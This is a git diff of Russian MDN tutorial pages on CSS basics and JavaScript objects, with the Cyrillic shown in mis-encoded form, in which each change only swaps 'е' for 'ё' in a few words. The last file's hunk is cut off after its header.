diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html
index 05b7c9e54c..218c8bc90d 100644
--- a/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html
+++ b/files/ru/conflicting/learn/css/first_steps/how_css_works_64ba4331a7a5f4319c6e06b06ccdd521/index.html
@@ -22,7 +22,7 @@ original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS
<h2 class="clearLeft" id="Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ_Π—Π°Ρ‡Π΅ΠΌ_Π½ΡƒΠΆΠ΅Π½_CSS">Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ: Π—Π°Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ΅Π½ CSS?</h2>
-<p>CSS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния стилСй Π²Π°ΡˆΠΈΡ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π² Ρ‚ΠΎΠΌ числС Π΄ΠΈΠ·Π°ΠΉΠ½Π°, вСрстки и Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚Π° для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… устройств ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² экрана. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ стили CSS Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π³Π°Β &lt;HEAD&gt; Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° с встроСнной Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ стилСй, ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠΈΡ‚ΡŒΒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ CSS-Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ваши стили ΠΈΠ·Π²Π½Π΅.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ внСшнюю Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, просто Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ссылку Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ &lt;HEAD&gt; Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
+<p>CSS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния стилСй Π²Π°ΡˆΠΈΡ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², Π² Ρ‚ΠΎΠΌ числС Π΄ΠΈΠ·Π°ΠΉΠ½Π°, вёрстки и Π²Π°Ρ€ΠΈΠ°Ρ†ΠΈΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚Π° для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… устройств ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² экрана. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ стили CSS Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ‚Π΅Π³Π°Β &lt;HEAD&gt; Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° с встроСнной Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ стилСй, ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠΈΡ‚ΡŒΒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ CSS-Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ваши стили ΠΈΠ·Π²Π½Π΅.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ²ΡΠ·Π°Ρ‚ΡŒ внСшнюю Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, просто Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ссылку Π½Π° Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ &lt;HEAD&gt; Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
<p>Π£ внСшнСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй Π΅ΡΡ‚ΡŒ мноТСство прСимущСств. Π‘ΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ стилСй ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ содСрТания HTML:</p>
@@ -35,7 +35,7 @@ original_slug: Web/Guide/CSS/Getting_started/Why_use_CSS
<div class="tuto_example">
<div class="tuto_type">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</div>
-<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS, Π²Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилях в ΠΎΠ±Ρ‰ΠΈΡ… Ρ„Π°ΠΉΠ»Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны всСм страницам. НапримСр, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° Ρ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚Β Ρ†Π²Π΅Ρ‚Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² h2, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ для Ρ‚Π΅Π³ΠΎΠ² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² h2 Π½Π° глобальном ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΏΡƒΡ‚Π΅ΠΌ измСнСния ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° CSS.</p>
+<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ CSS, Π²Ρ‹ Ρ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ стилях в ΠΎΠ±Ρ‰ΠΈΡ… Ρ„Π°ΠΉΠ»Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны всСм страницам. НапримСр, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° Ρ‚Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚Β Ρ†Π²Π΅Ρ‚Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² h2, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ для Ρ‚Π΅Π³ΠΎΠ² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² h2 Π½Π° глобальном ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΏΡƒΡ‚Ρ‘ΠΌ измСнСния ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° CSS.</p>
<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π²Π΅Π±-страницу, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ стиля вмСстС с содСрТаниСм страницы.</p>
diff --git a/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html b/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html
index b34e9ae78a..39d6ffe3a1 100644
--- a/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html
+++ b/files/ru/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html
@@ -35,7 +35,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS
</ul>
</div>
-<p>Π’ этом руководствС Π±Π»ΠΎΠΊΠΈ с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <strong>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</strong>, ΠΊΠ°ΠΊ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ, содСрТат Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ссылки Π½Π° рСсурсы, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ Π³Π»ΡƒΠ±ΠΎΠΊΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ вопрос, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ посвящСн Ρ‚ΠΎΡ‚ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠΉ Ρ€Π°Π·Π΄Π΅Π». Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ сразу ΠΆΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ этими ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°ΠΌΠΈ ΠΈΠ»ΠΈ ΠΆΠ΅ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ эти Π±Π»ΠΎΠΊΠΈ ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ Π½ΠΈΠΌ ΠΏΠΎΠ·ΠΆΠ΅.</p>
+<p>Π’ этом руководствС Π±Π»ΠΎΠΊΠΈ с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <strong>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</strong>, ΠΊΠ°ΠΊ Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ, содСрТат Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ ссылки Π½Π° рСсурсы, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ Π³Π»ΡƒΠ±ΠΎΠΊΠΎ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ вопрос, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ посвящён Ρ‚ΠΎΡ‚ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠΉ Ρ€Π°Π·Π΄Π΅Π». Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ сразу ΠΆΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ этими ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π°ΠΌΠΈ ΠΈΠ»ΠΈ ΠΆΠ΅ ΠΏΡ€ΠΎΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ эти Π±Π»ΠΎΠΊΠΈ ΠΈ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ Π½ΠΈΠΌ ΠΏΠΎΠ·ΠΆΠ΅.</p>
<div class="tuto_details">
<div class="tuto_type">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</div>
@@ -44,7 +44,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS
<p>Π‘ΠΎ страницСй, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ сСйчас Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅, Π΄Π΅Π»Π° обстоят Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТнСС. Когда ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π΄Π°Π½Π½ΡƒΡŽ страницу, сСрвСр обращаСтся ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, собирая Π΅Π³ΠΎ ΠΏΠΎ частям из Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡΒ Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ„Π°ΠΉΠ»Π°Ρ…. Однако в этом руководствС Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ смоТСтС Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· которых прСдставлСн ΠΎΠ΄Π½ΠΈΠΌ Ρ„Π°ΠΉΠ»ΠΎΠΌ.</p>
-<p>Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… ΠΈ языках Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… этого сайта:</p>
+<p>Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ… ΠΈ языках Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… этого сайта:</p>
<table style="background-color: inherit; margin-left: 2em;">
<tbody>
@@ -83,7 +83,7 @@ original_slug: Web/Guide/CSS/Getting_started/What_is_CSS
<ol>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ°ΠΏΠΊΡƒ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ для ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ.</li>
<li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ ΠΈ создайтС Π½ΠΎΠ²Ρ‹ΠΉ тСкстовый Ρ„Π°ΠΉΠ». Π­Ρ‚ΠΎΡ‚ Ρ„Π°ΠΉΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ для Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ.</li>
- <li>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ HTML, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ сохранитС ваш Ρ„Π°ΠΉΠ» ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>doc1.html.</code>
+ <li>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΈ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ HTML, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π° Π·Π°Ρ‚Π΅ΠΌ сохранитС ваш Ρ„Π°ΠΉΠ» ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌΒ <code>doc1.html.</code>
<pre class="brush: html">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
diff --git a/files/ru/conflicting/learn/css/first_steps/index.html b/files/ru/conflicting/learn/css/first_steps/index.html
index b3333c936c..2cfb1cb428 100644
--- a/files/ru/conflicting/learn/css/first_steps/index.html
+++ b/files/ru/conflicting/learn/css/first_steps/index.html
@@ -18,7 +18,7 @@ translation_of: Learn/CSS/First_steps
translation_of_original: Web/Guide/CSS/Getting_started
original_slug: Web/Guide/CSS/Getting_started
---
-<p><span class="seoSummary">Π­Ρ‚ΠΎ руководство (ΡΠ°ΠΌΠΎΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŒ) ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌΠΈ возмоТностями ΠΈ языком (синтаксисом) <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS"><strong>ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Ρ… Ρ‚Π°Π±Π»ΠΈΡ† стилСй</strong></a> (CSS). CSS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для измСнСния внСшнСго Π²ΠΈΠ΄Π° структурированного Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Π΅Π±-страница. Руководство Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ простыС упраТнСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ смоТСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π½Π° своСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΅Π³ΠΎ возмоТности Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. </span></p>
+<p><span class="seoSummary">Π­Ρ‚ΠΎ руководство (ΡΠ°ΠΌΠΎΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŒ) ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с Π±Π°Π·ΠΎΠ²Ρ‹ΠΌΠΈ возмоТностями ΠΈ языком (синтаксисом) <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS"><strong>ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Ρ… Ρ‚Π°Π±Π»ΠΈΡ† стилСй</strong></a> (CSS). CSS ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для измСнСния внСшнСго Π²ΠΈΠ΄Π° структурированного Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Π΅Π±-страница. Руководство Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ простыС упраТнСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ смоТСтС Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π½Π° своём ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π΅Π³ΠΎ возмоТности Π² соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. </span></p>
<p>Π”Π°Π½Π½ΠΎΠ΅ руководство создано для Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ² ΠΈ всСх, ΠΊΡ‚ΠΎ Ρ…ΠΎΡ‚Π΅Π» Π±Ρ‹ ΠΎΡΠ²Π΅ΠΆΠΈΡ‚ΡŒ свои знания основ CSS. Если Ρƒ вас ΡƒΠΆΠ΅ Π΅ΡΡ‚ΡŒ ΠΎΠΏΡ‹Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS, Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ страницС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ <a href="/ru/docs/Web/Guide/CSS" title="/ru/docs/Web/Guide/CSS">список</a>Β ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… рСсурсов, подходящих для вашСго уровня.</p>
@@ -46,7 +46,7 @@ original_slug: Web/Guide/CSS/Getting_started
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ усвоСнныС знания, Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΡƒΒ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницы. Π’Π΅Ρ€Π½Ρ‹Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΒ Π·Π°Π΄Π°Ρ‡ Π²Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ΄ ΠΈΡ… описаниСм Π² Π²ΠΈΠ΄Π΅ ссылки -Β Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ Π½Π΅ смоТСтС ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΡ… случайно.</p>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π±ΠΎΠ»Π΅Π΅ Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ³ΠΎ понимания CSS, Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π±Π»ΠΎΠΊΠ°Ρ… с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌΒ <em>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</em>. А Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Ρ‚Π°ΠΌ ссылки.</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π±ΠΎΠ»Π΅Π΅ Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ³ΠΎ понимания CSS, Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Π±Π»ΠΎΠΊΠ°Ρ… с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌΒ <em>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅</em>. А Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΠΏΠΎΡΠ΅Ρ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Ρ‚Π°ΠΌ ссылки.</p>
<h3 id="Π§Π°ΡΡ‚ΡŒ_II_ВозмоТности_CSS">Π§Π°ΡΡ‚ΡŒ II: ВозмоТности CSS</h3>
diff --git a/files/ru/conflicting/learn/javascript/objects/index.html b/files/ru/conflicting/learn/javascript/objects/index.html
index 4d59e1fbfe..441500dbc0 100644
--- a/files/ru/conflicting/learn/javascript/objects/index.html
+++ b/files/ru/conflicting/learn/javascript/objects/index.html
@@ -17,7 +17,7 @@ original_slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript
